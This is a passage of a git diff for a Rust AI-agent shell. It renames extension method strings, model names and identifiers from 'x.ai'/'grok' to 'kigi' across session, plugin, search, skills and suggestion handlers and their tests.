         let parsed: RecapRequestFile = serde_json::from_str(&json).unwrap();
         assert_eq!(parsed.schema_version, 1);
         assert_eq!(parsed.trigger, "auto");
-        assert_eq!(parsed.x_grok_req_id, "xai-recap-abc");
+        assert_eq!(parsed.x_kigi_req_id, "xai-recap-abc");
         assert_eq!(
             parsed.summary.as_deref(),
             Some("We fixed the flaky test in queue_worker.")
@@ -1268,7 +1268,7 @@ mod tests {
             created_at: "2026-06-15T00:00:00Z".into(),
             trigger: "auto".into(),
             prompt_variant: "detailed".into(),
-            model: "grok".into(),
+            model: "kigi".into(),
             user_context: None,
             chat_history: vec![],
             tools: vec![],
@@ -1317,7 +1317,7 @@ mod tests {
             "created_at": "2026-06-01T00:00:00Z",
             "trigger": "manual",
             "prompt_variant": "detailed",
-            "model": "grok",
+            "model": "kigi",
             "user_context": null,
             "chat_history": [],
             "summary": "ok",
@@ -1752,7 +1752,7 @@ mod tests {
             total_worker_rounds: 4,
             total_verify_rounds: 2,
             live_subagent_tokens: Some(10_000),
-            live_tokens_by_model: vec![("grok-4".into(), 6_000), ("grok-3".into(), 4_000)],
+            live_tokens_by_model: vec![("kigi-4".into(), 6_000), ("kigi-3".into(), 4_000)],
             live_context_pct: Some(35),
             live_turn_count: Some(3),
             live_tool_call_count: Some(8),
@@ -1826,7 +1826,7 @@ mod tests {
         assert_eq!(json["total_worker_rounds"], 4);
         assert_eq!(json["total_verify_rounds"], 2);
         assert_eq!(json["live_subagent_tokens"], 10_000);
-        assert_eq!(json["live_tokens_by_model"][0][0], "grok-4");
+        assert_eq!(json["live_tokens_by_model"][0][0], "kigi-4");
         assert_eq!(json["live_tokens_by_model"][0][1], 6_000);
         assert_eq!(json["live_context_pct"], 35);
         assert_eq!(json["last_event"], "worker_completed");
@@ -2001,21 +2001,21 @@ mod tests {
     #[test]
     fn model_changed_serializes_snake_case_with_optional_effort() {
         let with_effort = SessionUpdate::ModelChanged {
-            model_id: "grok-4".into(),
+            model_id: "kigi-4".into(),
             reasoning_effort: Some("high".into()),
         };
         let json = serde_json::to_value(&with_effort).unwrap();
         assert_eq!(json["sessionUpdate"], "model_changed");
-        assert_eq!(json["model_id"], "grok-4");
+        assert_eq!(json["model_id"], "kigi-4");
         assert_eq!(json["reasoning_effort"], "high");
 
         let without_effort = SessionUpdate::ModelChanged {
-            model_id: "grok-3".into(),
+            model_id: "kigi-3".into(),
             reasoning_effort: None,
         };
         let json = serde_json::to_value(&without_effort).unwrap();
         assert_eq!(json["sessionUpdate"], "model_changed");
-        assert_eq!(json["model_id"], "grok-3");
+        assert_eq!(json["model_id"], "kigi-3");
         assert!(
             json.get("reasoning_effort").is_none(),
             "reasoning_effort: None must be skipped on the wire so old pagers \
@@ -2031,7 +2031,7 @@ mod tests {
     #[test]
     fn model_changed_roundtrips_through_json() {
         let original = SessionUpdate::ModelChanged {
-            model_id: "grok-4".into(),
+            model_id: "kigi-4".into(),
             reasoning_effort: Some("medium".into()),
         };
         let json_str = serde_json::to_string(&original).unwrap();
@@ -2052,7 +2052,7 @@ mod tests {
         let notif = SessionNotification {
             session_id: acp::SessionId::new("sess-abc"),
             update: SessionUpdate::ModelChanged {
-                model_id: "grok-4".into(),
+                model_id: "kigi-4".into(),
                 reasoning_effort: None,
             },
             meta: None,
@@ -2060,7 +2060,7 @@ mod tests {
         let json = serde_json::to_value(&notif).unwrap();
         assert_eq!(json["sessionId"], "sess-abc");
         assert_eq!(json["update"]["sessionUpdate"], "model_changed");
-        assert_eq!(json["update"]["model_id"], "grok-4");
+        assert_eq!(json["update"]["model_id"], "kigi-4");
     }
 
     // ── TurnCompleted (durable, replayable turn-end signal) ──
diff --git a/crates/codegen/kigi-shell/src/extensions/plugins.rs b/crates/codegen/kigi-shell/src/extensions/plugins.rs
index 0d4dd16..0316dbc 100644
--- a/crates/codegen/kigi-shell/src/extensions/plugins.rs
+++ b/crates/codegen/kigi-shell/src/extensions/plugins.rs
@@ -1,4 +1,4 @@
-//! `x.ai/plugins/*` extension handlers.
+//! `kigi/plugins/*` extension handlers.
 //!
 //! Provides the plugins list endpoint for the pager's hooks/plugins modal.
 
@@ -79,9 +79,9 @@ fn origin_to_dto(origin: &kigi_agent::plugins::PluginOrigin) -> PluginOrigin {
     use kigi_agent::plugins::PluginOrigin as AgentOrigin;
     match origin {
         AgentOrigin::CliOverride => PluginOrigin::CliOverride,
-        AgentOrigin::ProjectGrok => PluginOrigin::ProjectGrok,
+        AgentOrigin::ProjectKigi => PluginOrigin::ProjectKigi,
         AgentOrigin::ProjectClaude => PluginOrigin::ProjectClaude,
-        AgentOrigin::UserGrok => PluginOrigin::UserGrok,
+        AgentOrigin::UserKigi => PluginOrigin::UserKigi,
         AgentOrigin::UserClaude => PluginOrigin::UserClaude,
         AgentOrigin::ClaudeMarketplace { marketplace } => PluginOrigin::ClaudeMarketplace {
             marketplace: marketplace.clone(),
@@ -123,7 +123,7 @@ fn marketplace_source_label(origin: &PluginOrigin) -> Option<String> {
 
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/plugins/list" => {
+        "kigi/plugins/list" => {
             let req: ListRequest = super::parse_params(args)?;
 
             // A known session answers from its own registry, which includes
@@ -149,7 +149,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
             };
             super::to_ext_response(Ok::<_, anyhow::Error>(response))
         }
-        "x.ai/plugins/action" => {
+        "kigi/plugins/action" => {
             let req: kigi_hooks_plugins_types::PluginsActionRequest = super::parse_params(args)?;
             let sid = acp::SessionId::new(req.session_id);
 
@@ -159,7 +159,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
                 .ok_or_else(|| anyhow::anyhow!("session not found"));
             super::to_ext_response(result)
         }
-        "x.ai/plugins/notify-updates" => {
+        "kigi/plugins/notify-updates" => {
             // Broadcast a PluginUpdatesInstalled notification to the session.
             #[derive(serde::Deserialize)]
             #[serde(rename_all = "camelCase")]
diff --git a/crates/codegen/kigi-shell/src/extensions/pr.rs b/crates/codegen/kigi-shell/src/extensions/pr.rs
index 4290dcb..fdf1c1e 100644
--- a/crates/codegen/kigi-shell/src/extensions/pr.rs
+++ b/crates/codegen/kigi-shell/src/extensions/pr.rs
@@ -56,7 +56,7 @@ struct GhGraphqlPullRequest {
 
 pub async fn handle(_agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/pr/status" => {
+        "kigi/pr/status" => {
             let req = parse_params::<PrStatusRequest>(args)?;
             to_ext_response(handle_pr_status(&req.cwd, &req.branch).await)
         }
diff --git a/crates/codegen/kigi-shell/src/extensions/prompt_history.rs b/crates/codegen/kigi-shell/src/extensions/prompt_history.rs
index 497ba09..e3f7352 100644
--- a/crates/codegen/kigi-shell/src/extensions/prompt_history.rs
+++ b/crates/codegen/kigi-shell/src/extensions/prompt_history.rs
@@ -1,4 +1,4 @@
-//! `x.ai/prompt_history` extension handler.
+//! `kigi/prompt_history` extension handler.
 //!
 //! Returns the user-prompt history for a given cwd. Three paths:
 //! - **fast path** (no ids): reads the per-CWD `prompt_history.jsonl` file
@@ -45,7 +45,7 @@ struct PromptHistoryResponse {
 #[tracing::instrument(skip_all, fields(method = %args.method))]
 pub async fn handle(_agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/prompt_history" => handle_prompt_history(args).await,
+        "kigi/prompt_history" => handle_prompt_history(args).await,
         _ => Err(acp::Error::method_not_found()),
     }
 }
diff --git a/crates/codegen/kigi-shell/src/extensions/recap.rs b/crates/codegen/kigi-shell/src/extensions/recap.rs
index 6e99139..80eb02a 100644
--- a/crates/codegen/kigi-shell/src/extensions/recap.rs
+++ b/crates/codegen/kigi-shell/src/extensions/recap.rs
@@ -1,4 +1,4 @@
-//! `x.ai/recap` extension handler.
+//! `kigi/recap` extension handler.
 //!
 //! Triggers generation of a session recap — a short "where was I" summary of
 //! the session so far — via [`SessionCommand::Recap`]. This is fire-and-forget:
diff --git a/crates/codegen/kigi-shell/src/extensions/repair.rs b/crates/codegen/kigi-shell/src/extensions/repair.rs
index f1c79b9..125f21e 100644
--- a/crates/codegen/kigi-shell/src/extensions/repair.rs
+++ b/crates/codegen/kigi-shell/src/extensions/repair.rs
@@ -1,4 +1,4 @@
-//! `x.ai/session/repair` — out-of-band recovery for sessions bricked by
+//! `kigi/session/repair` — out-of-band recovery for sessions bricked by
 //! corrupted tool-pairing history.
 //!
 //! A `ToolResult` whose owning assistant `tool_call` is missing (e.g. a
@@ -32,7 +32,7 @@ struct RepairSessionRequest {
     dry_run: bool,
 }
 
-/// Response payload for `x.ai/session/repair`.
+/// Response payload for `kigi/session/repair`.
 #[derive(Debug, Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct RepairSessionResponse {
@@ -67,7 +67,7 @@ impl RepairSessionResponse {
 #[tracing::instrument(skip_all, fields(method = %args.method))]
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/session/repair" => handle_session_repair(agent, args).await,
+        "kigi/session/repair" => handle_session_repair(agent, args).await,
         _ => Err(acp::Error::method_not_found()),
     }
 }
@@ -105,18 +105,18 @@ async fn handle_session_repair(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtR
 
 /// Repair a non-resident session's history on disk: load via the resume
 /// path's corruption-tolerant reader (legacy upgrades apply), repair, write
-/// back atomically. `grok_root` is injectable for tests.
-async fn repair_on_disk(grok_root: &std::path::Path, session_id: &str, dry_run: bool) -> ExtResult {
+/// back atomically. `kigi_root` is injectable for tests.
+async fn repair_on_disk(kigi_root: &std::path::Path, session_id: &str, dry_run: bool) -> ExtResult {
     let summary = crate::session::persistence::find_summary_by_session_id_in_root(
         session_id,
-        &grok_root.join("sessions"),
+        &kigi_root.join("sessions"),
     )
     .ok_or_else(|| {
         acp::Error::resource_not_found(Some(format!("session not found: {session_id}")))
     })?;
     let info = summary.info.clone();
 
-    let storage = JsonlStorageAdapter::with_root(grok_root.to_path_buf());
+    let storage = JsonlStorageAdapter::with_root(kigi_root.to_path_buf());
     let mut chat_history = storage
         .load_session_without_updates(&info)
         .await
diff --git a/crates/codegen/kigi-shell/src/extensions/rewind.rs b/crates/codegen/kigi-shell/src/extensions/rewind.rs
index aa8181e..0e41220 100644
--- a/crates/codegen/kigi-shell/src/extensions/rewind.rs
+++ b/crates/codegen/kigi-shell/src/extensions/rewind.rs
@@ -1,4 +1,4 @@
-//! `x.ai/rewind/*` extension handlers.
+//! `kigi/rewind/*` extension handlers.
 //!
 //! - `rewind/execute`: rewind a session to a target prompt index, optionally
 //!   forcing past in-flight prompts and choosing a `RewindMode`.
@@ -19,8 +19,8 @@ use tokio::sync::oneshot;
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     tracing::info!("handling rewind request: {}", args.method);
     match args.method.as_ref() {
-        "x.ai/rewind/execute" => handle_execute(agent, args).await,
-        "x.ai/rewind/points" => handle_points(agent, args).await,
+        "kigi/rewind/execute" => handle_execute(agent, args).await,
+        "kigi/rewind/points" => handle_points(agent, args).await,
         _ => Err(acp::Error::method_not_found()),
     }
 }
diff --git a/crates/codegen/kigi-shell/src/extensions/rollout.rs b/crates/codegen/kigi-shell/src/extensions/rollout.rs
index 8ebb5e7..fafb40b 100644
--- a/crates/codegen/kigi-shell/src/extensions/rollout.rs
+++ b/crates/codegen/kigi-shell/src/extensions/rollout.rs
@@ -1,4 +1,4 @@
-//! `x.ai/rollout/survey` extension handler.
+//! `kigi/rollout/survey` extension handler.
 //!
 //! Logs a rollout-survey submission via telemetry (Mixpanel + BigQuery).
 
@@ -11,7 +11,7 @@ use crate::session::{RolloutSurveyRequest, RolloutSurveyResponse};
 #[tracing::instrument(skip_all, fields(method = %args.method))]
 pub async fn handle(_agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/rollout/survey" => {
+        "kigi/rollout/survey" => {
             let req: RolloutSurveyRequest = parse_params(args)?;
 
             tracing::info_span!(
diff --git a/crates/codegen/kigi-shell/src/extensions/search.rs b/crates/codegen/kigi-shell/src/extensions/search.rs
index 0095dfe..45d8b1d 100644
--- a/crates/codegen/kigi-shell/src/extensions/search.rs
+++ b/crates/codegen/kigi-shell/src/extensions/search.rs
@@ -114,7 +114,7 @@ pub struct ContentSearchRequest {
 
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/search/fuzzy/open" => {
+        "kigi/search/fuzzy/open" => {
             let req: FuzzyOpenRequest = parse(args.params.get())?;
             let cwd = resolve_cwd(agent, req.cwd, req.session_id.as_ref())?;
             let search_root = match &req.root {
@@ -149,13 +149,13 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
                 .to_ext_response()
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))
         }
-        "x.ai/search/fuzzy/change" => {
+        "kigi/search/fuzzy/change" => {
             let req: FuzzyChangeRequest = parse(args.params.get())?;
             let ops = agent
                 .resolve_workspace_ops()
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))?;
             // The workspace owns the manager and spawns the status driver, which
-            // streams `x.ai/search/fuzzy/status` through the client sink.
+            // streams `kigi/search/fuzzy/status` through the client sink.
             let found = ops
                 .dispatch(
                     &FuzzyChangeReq {
@@ -182,7 +182,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
                 .to_ext_response()
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))
         }
-        "x.ai/search/fuzzy/close" => {
+        "kigi/search/fuzzy/close" => {
             let req: FuzzyCloseRequest = parse(args.params.get())?;
             let ops = agent
                 .resolve_workspace_ops()
@@ -206,7 +206,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
                 .to_ext_response()
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))
         }
-        "x.ai/search/content" => {
+        "kigi/search/content" => {
             let req: ContentSearchRequest = parse(args.params.get())?;
             let cwd = resolve_cwd(agent, req.cwd.clone(), req.session_id.as_ref())?;
             let context_id = req
@@ -219,7 +219,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))?;
 
             // The workspace runs the streaming search and emits
-            // `x.ai/search/content/status` batches through the client sink.
+            // `kigi/search/content/status` batches through the client sink.
             let mut op = req.params;
             op.cwd = Some(cwd);
             op.context_id = Some(context_id);
diff --git a/crates/codegen/kigi-shell/src/extensions/session_admin.rs b/crates/codegen/kigi-shell/src/extensions/session_admin.rs
index 9e434a9..205cea5 100644
--- a/crates/codegen/kigi-shell/src/extensions/session_admin.rs
+++ b/crates/codegen/kigi-shell/src/extensions/session_admin.rs
@@ -4,17 +4,17 @@
 //! persistent or shared agent state but are not part of the per-turn prompt
 //! lifecycle:
 //!
-//! - `x.ai/session/rename`                  rename a session locally
-//! - `x.ai/session/delete`                  delete a session locally
-//! - `x.ai/session/update_mcp_servers`      mid-session MCP server swap
-//! - `x.ai/session/fork`                    fork a session into a new one
-//! - `x.ai/internal/reload_all_mcp_servers` config hot-reload, all sessions
-//! - `x.ai/internal/reload_project_mcp_servers` config hot-reload, cwd-scoped
-//! - `x.ai/internal/reload_skills`          skills file watcher fan-out
-//! - `x.ai/internal/reload_models`          model list hot-reload from config.toml
-//! - `x.ai/internal/reload_models_cache`    model catalog hot-reload from disk cache
-//! - `x.ai/plugins/reload`                  rebuild shared plugin registry
-//! - `x.ai/commands/list`                   list slash commands
+//! - `kigi/session/rename`                  rename a session locally
+//! - `kigi/session/delete`                  delete a session locally
+//! - `kigi/session/update_mcp_servers`      mid-session MCP server swap
+//! - `kigi/session/fork`                    fork a session into a new one
+//! - `kigi/internal/reload_all_mcp_servers` config hot-reload, all sessions
+//! - `kigi/internal/reload_project_mcp_servers` config hot-reload, cwd-scoped
+//! - `kigi/internal/reload_skills`          skills file watcher fan-out
+//! - `kigi/internal/reload_models`          model list hot-reload from config.toml
+//! - `kigi/internal/reload_models_cache`    model catalog hot-reload from disk cache
+//! - `kigi/plugins/reload`                  rebuild shared plugin registry
+//! - `kigi/commands/list`                   list slash commands
 
 use std::path::Path;
 use std::sync::Arc;
@@ -34,19 +34,19 @@ use crate::session::{ExtMethodResult, SessionCommand};
 #[tracing::instrument(skip_all, fields(method = %args.method))]
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/session/rename" => handle_session_rename(agent, args).await,
-        "x.ai/session/delete" => handle_session_delete(agent, args).await,
-        "x.ai/session/update_mcp_servers" => handle_update_mcp_servers(agent, args).await,
-        "x.ai/session/fork" => handle_session_fork(agent, args).await,
-        "x.ai/internal/reload_all_mcp_servers" => handle_reload_all_mcp_servers(agent).await,
-        "x.ai/internal/reload_project_mcp_servers" => {
+        "kigi/session/rename" => handle_session_rename(agent, args).await,
+        "kigi/session/delete" => handle_session_delete(agent, args).await,
+        "kigi/session/update_mcp_servers" => handle_update_mcp_servers(agent, args).await,
+        "kigi/session/fork" => handle_session_fork(agent, args).await,
+        "kigi/internal/reload_all_mcp_servers" => handle_reload_all_mcp_servers(agent).await,
+        "kigi/internal/reload_project_mcp_servers" => {
             handle_reload_project_mcp_servers(agent, args).await
         }
-        "x.ai/internal/reload_skills" => handle_reload_skills(agent),
-        "x.ai/internal/reload_models" => handle_reload_models(agent),
-        "x.ai/internal/reload_models_cache" => handle_reload_models_cache(agent),
-        "x.ai/plugins/reload" => handle_plugins_reload(agent).await,
-        "x.ai/commands/list" => handle_commands_list(agent, args).await,
+        "kigi/internal/reload_skills" => handle_reload_skills(agent),
+        "kigi/internal/reload_models" => handle_reload_models(agent),
+        "kigi/internal/reload_models_cache" => handle_reload_models_cache(agent),
+        "kigi/plugins/reload" => handle_plugins_reload(agent).await,
+        "kigi/commands/list" => handle_commands_list(agent, args).await,
         _ => Err(acp::Error::method_not_found()),
     }
 }
@@ -147,7 +147,7 @@ async fn notify_session_title(agent: &MvpAgent, session_id: acp::SessionId, titl
     };
     if let Ok(params) = serde_json::value::to_raw_value(&notification) {
         let ext_notification =
-            acp::ExtNotification::new("x.ai/session_notification", params.into());
+            acp::ExtNotification::new("kigi/session_notification", params.into());
         let _ = agent.gateway.ext_notification(ext_notification).await;
     }
 }
@@ -509,7 +509,7 @@ async fn handle_plugins_reload(agent: &MvpAgent) -> ExtResult {
         let remote_settings = agent.cfg.borrow().remote_settings.clone();
         crate::agent::folder_trust::resolve_and_record(c, remote_settings.as_ref(), false)
     });
-    // Explicit desktop `x.ai/plugins/reload`: force a full local-install re-copy.
+    // Explicit desktop `kigi/plugins/reload`: force a full local-install re-copy.
     agent
         .plugin_registry_handle()
         .reload(session_cwd.as_deref(), &disk_cfg, project_trusted, true);
@@ -534,7 +534,7 @@ async fn handle_commands_list(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtRe
     // For a given cwd, compute the plugin registry the same way a session would
     // at spawn time (via build_for_cwd) and the same way reload_plugins_impl does
     // (ancestor project config walk + vendor compat merge). This is required so
-    // that `x.ai/commands/list` (the pull used by grok-desktop after session
+    // that `kigi/commands/list` (the pull used by kigi-desktop after session
     // start) returns plugin-provided slash commands for the target cwd.
     //
     // The shared snapshot is only populated at agent boot (using process CWD)
diff --git a/crates/codegen/kigi-shell/src/extensions/session_search.rs b/crates/codegen/kigi-shell/src/extensions/session_search.rs
index c6cd737..cee8aed 100644
--- a/crates/codegen/kigi-shell/src/extensions/session_search.rs
+++ b/crates/codegen/kigi-shell/src/extensions/session_search.rs
@@ -1,4 +1,4 @@
-//! ACP extension handler for session search (`x.ai/session/search`).
+//! ACP extension handler for session search (`kigi/session/search`).
 //!
 //! Exposes session full-text search as an ACP extension method.
 //! The client sends a query and receives ranked results across all
@@ -67,10 +67,10 @@ pub struct SearchSessionHit {
     pub snippet: Option<String>,
 }
 
-/// Route `x.ai/session/search` extension method calls.
+/// Route `kigi/session/search` extension method calls.
 pub async fn handle(args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/session/search" => {
+        "kigi/session/search" => {
             let req: SearchSessionsRequest = super::parse_params(args)?;
             let internal_req = SessionSearchRequest {
                 query: req.query,
diff --git a/crates/codegen/kigi-shell/src/extensions/session_updates.rs b/crates/codegen/kigi-shell/src/extensions/session_updates.rs
index 1009cd9..98b7119 100644
--- a/crates/codegen/kigi-shell/src/extensions/session_updates.rs
+++ b/crates/codegen/kigi-shell/src/extensions/session_updates.rs
@@ -1,4 +1,4 @@
-//! ACP extension handler for bulk session updates (`x.ai/session/updates`).
+//! ACP extension handler for bulk session updates (`kigi/session/updates`).
 //!
 //! Returns session updates in a single response with rewind dead branches
 //! filtered out. Supports optional pagination (`offset`/`limit`) for large
@@ -30,7 +30,7 @@
 //! Each element in the `updates` array is the full JSONL storage envelope
 //! (with `timestamp`, `method`, and `params` wrapper), not just the inner
 //! notification params. Clients should parse the `method` field to determine
-//! the update type (`"session/update"` for ACP, `"_x.ai/session/update"` for
+//! the update type (`"session/update"` for ACP, `"_kigi/session/update"` for
 //! xAI extensions) and extract the notification payload from `params`.
 
 use std::io::{self, BufRead, BufReader};
@@ -285,7 +285,7 @@ fn extract_last_event_id<T: AsRef<str>>(lines: &[T]) -> Option<String> {
     None
 }
 
-/// Send updates as chunked `_x.ai/session/updates/chunk` notifications.
+/// Send updates as chunked `_kigi/session/updates/chunk` notifications.
 /// Injects routing metadata when `target_client_id` is set.
 fn send_streamed_chunks<T: AsRef<str>>(
     gateway: &kigi_acp_lib::AcpAgentGatewaySender,
@@ -317,7 +317,7 @@ fn send_streamed_chunks<T: AsRef<str>>(
 
         if let Ok(raw) = serde_json::value::to_raw_value(&params) {
             gateway.forward_fire_and_forget(acp::ExtNotification::new(
-                "x.ai/session/updates/chunk",
+                "kigi/session/updates/chunk",
                 std::sync::Arc::from(raw),
             ));
         }
@@ -523,7 +523,7 @@ mod tests {
         }
 
         let raw = serde_json::value::to_raw_value(&serde_json::Value::Object(map)).unwrap();
-        acp::ExtRequest::new("x.ai/session/updates", std::sync::Arc::from(raw))
+        acp::ExtRequest::new("kigi/session/updates", std::sync::Arc::from(raw))
     }
 
     #[tokio::test]
@@ -583,7 +583,7 @@ mod tests {
                 r#"{"timestamp":2,"method":"session/update","params":{"sessionId":"s","update":{"sessionUpdate":"agent_message_chunk","content":{"type":"text","text":"resp1"}}}}"#,
                 r#"{"timestamp":3,"method":"session/update","params":{"sessionId":"s","update":{"sessionUpdate":"user_message_chunk","content":{"type":"text","text":"dead-branch"}}}}"#,
                 r#"{"timestamp":4,"method":"session/update","params":{"sessionId":"s","update":{"sessionUpdate":"agent_message_chunk","content":{"type":"text","text":"dead-resp"}}}}"#,
-                r#"{"timestamp":5,"method":"_x.ai/session/update","params":{"sessionId":"s","update":{"sessionUpdate":"rewind_marker","target_prompt_index":1}}}"#,
+                r#"{"timestamp":5,"method":"_kigi/session/update","params":{"sessionId":"s","update":{"sessionUpdate":"rewind_marker","target_prompt_index":1}}}"#,
                 r#"{"timestamp":6,"method":"session/update","params":{"sessionId":"s","update":{"sessionUpdate":"user_message_chunk","content":{"type":"text","text":"replacement"}}}}"#,
                 r#"{"timestamp":7,"method":"session/update","params":{"sessionId":"s","update":{"sessionUpdate":"agent_message_chunk","content":{"type":"text","text":"replacement-resp"}}}}"#,
             ]
@@ -659,7 +659,7 @@ mod tests {
         );
         assert_eq!(json["updates"].as_array().unwrap().len(), 2);
 
-        // Clean up the dir written under the real grok home.
+        // Clean up the dir written under the real kigi home.
         let _ = std::fs::remove_dir_all(&child_dir);
     }
 
@@ -689,7 +689,7 @@ mod tests {
             map.insert("offset".into(), serde_json::json!(off));
         }
         let raw = serde_json::value::to_raw_value(&serde_json::Value::Object(map)).unwrap();
-        acp::ExtRequest::new("x.ai/session/updates", std::sync::Arc::from(raw))
+        acp::ExtRequest::new("kigi/session/updates", std::sync::Arc::from(raw))
     }
 
     fn extract_chunk_params(
@@ -798,7 +798,7 @@ mod tests {
             map.insert("limit".into(), serde_json::json!(lim));
         }
         let raw = serde_json::value::to_raw_value(&serde_json::Value::Object(map)).unwrap();
-        acp::ExtRequest::new("x.ai/session/updates", std::sync::Arc::from(raw))
+        acp::ExtRequest::new("kigi/session/updates", std::sync::Arc::from(raw))
     }
 
     fn user_chunk(text: &str) -> String {
@@ -815,7 +815,7 @@ mod tests {
 
     fn xai_rewind(target: usize) -> String {
         format!(
-            r#"{{"timestamp":0,"method":"_x.ai/session/update","params":{{"sessionId":"s","update":{{"sessionUpdate":"rewind_marker","target_prompt_index":{target}}}}}}}"#
+            r#"{{"timestamp":0,"method":"_kigi/session/update","params":{{"sessionId":"s","update":{{"sessionUpdate":"rewind_marker","target_prompt_index":{target}}}}}}}"#
         )
     }
 
diff --git a/crates/codegen/kigi-shell/src/extensions/skills.rs b/crates/codegen/kigi-shell/src/extensions/skills.rs
index ff6c4ad..3dc9b65 100644
--- a/crates/codegen/kigi-shell/src/extensions/skills.rs
+++ b/crates/codegen/kigi-shell/src/extensions/skills.rs
@@ -280,7 +280,7 @@ pub async fn handle(
     compat: CompatConfig,
 ) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/skills/add" => {
+        "kigi/skills/add" => {
             let req: SkillsAddRequest = serde_json::from_str(args.params.get())?;
             let cwd = req.cwd.as_deref().unwrap_or(".");
 
@@ -326,7 +326,7 @@ pub async fn handle(
             }))
         }
 
-        "x.ai/skills/remove" => {
+        "kigi/skills/remove" => {
             let req: SkillsRemoveRequest = serde_json::from_str(args.params.get())?;
             let cwd = req.cwd.as_deref().unwrap_or(".");
 
@@ -360,7 +360,7 @@ pub async fn handle(
             }))
         }
 
-        "x.ai/skills/reset" => {
+        "kigi/skills/reset" => {
             let params: CwdParams =
                 serde_json::from_str(args.params.get()).unwrap_or(CwdParams { cwd: None });
             let cwd = params.cwd.as_deref().unwrap_or(".");
@@ -381,13 +381,13 @@ pub async fn handle(
             super::to_ext_response(Ok(SkillsResetResponse { skills, message }))
         }
 
-        "x.ai/skills/list" => {
+        "kigi/skills/list" => {
             let req: SkillsListRequest = serde_json::from_str(args.params.get())?;
             let skills = reload_skills(&req.cwd, plugin_registry, compat).await;
             super::to_ext_response(Ok(SkillsListResponse { skills }))
         }
 
-        "x.ai/skills/config" => {
+        "kigi/skills/config" => {
             let params: CwdParams =
                 serde_json::from_str(args.params.get()).unwrap_or(CwdParams { cwd: None });
             let cwd = params.cwd.as_deref().unwrap_or(".");
@@ -450,7 +450,7 @@ pub async fn handle(
             }))
         }
 
-        "x.ai/skills/toggle" => {
+        "kigi/skills/toggle" => {
             let req: SkillsToggleRequest = serde_json::from_str(args.params.get())?;
             let cwd = req.cwd.as_deref().unwrap_or(".");
 
diff --git a/crates/codegen/kigi-shell/src/extensions/suggest/history_provider.rs b/crates/codegen/kigi-shell/src/extensions/suggest/history_provider.rs
index 25e2c78..aa1d343 100644
--- a/crates/codegen/kigi-shell/src/extensions/suggest/history_provider.rs
+++ b/crates/codegen/kigi-shell/src/extensions/suggest/history_provider.rs
@@ -42,7 +42,7 @@ impl HistoryProvider {
 
 /// Rank history matches from three tiers of history sources.
 ///
-/// Priority order: local grok bash history > shell history > cross-CWD history.
+/// Priority order: local kigi bash history > shell history > cross-CWD history.
 fn rank_history_matches(
     prefix: &str,
     local: &[String],
diff --git a/crates/codegen/kigi-shell/src/extensions/suggest/mod.rs b/crates/codegen/kigi-shell/src/extensions/suggest/mod.rs
index 9185b6b..54b91c2 100644
--- a/crates/codegen/kigi-shell/src/extensions/suggest/mod.rs
+++ b/crates/codegen/kigi-shell/src/extensions/suggest/mod.rs
@@ -176,13 +176,13 @@ fn splice_token_into_line(results: &mut [RankedSuggestion], text: &str, range: (
 #[tracing::instrument(skip_all, fields(method = %args.method))]
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/suggest" => handle_suggest(agent, args).await,
-        "x.ai/suggestPrompt" => handle_suggest_prompt(agent, args).await,
+        "kigi/suggest" => handle_suggest(agent, args).await,
+        "kigi/suggestPrompt" => handle_suggest_prompt(agent, args).await,
         _ => Err(acp::Error::method_not_found()),
     }
 }
 
-/// Request/response for `x.ai/suggestPrompt` — predict the user's likely next
+/// Request/response for `kigi/suggestPrompt` — predict the user's likely next
 /// prompt after a completed turn (tab-autocomplete ghost text).
 #[derive(Deserialize)]
 #[serde(rename_all = "camelCase")]
@@ -213,7 +213,7 @@ struct SuggestPromptResponse {
 /// Upper bound on the suggestion round-trip. Turn-end prediction is not
 /// latency-critical (the user is reading the agent's reply — the idle window
 /// after a turn is typically long), but a hung call must not pin the oneshot
-/// forever. Reasoning models (e.g. `grok-build`) can take ~30s on a cold
+/// forever. Reasoning models (e.g. `kigi`) can take ~30s on a cold
 /// cache; a late suggestion is still useful (the pager's generation guard
 /// and empty-prompt gating discard it if the user moved on).
 const SUGGEST_PROMPT_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(45);
diff --git a/crates/codegen/kigi-shell/src/extensions/task.rs b/crates/codegen/kigi-shell/src/extensions/task.rs
index 1264a4f..5fe4e36 100644
--- a/crates/codegen/kigi-shell/src/extensions/task.rs
+++ b/crates/codegen/kigi-shell/src/extensions/task.rs
@@ -2,7 +2,7 @@ use agent_client_protocol as acp;
 use kigi_tools::types::{KillOutcome, TaskSnapshot};
 use serde::{Deserialize, Serialize};
 
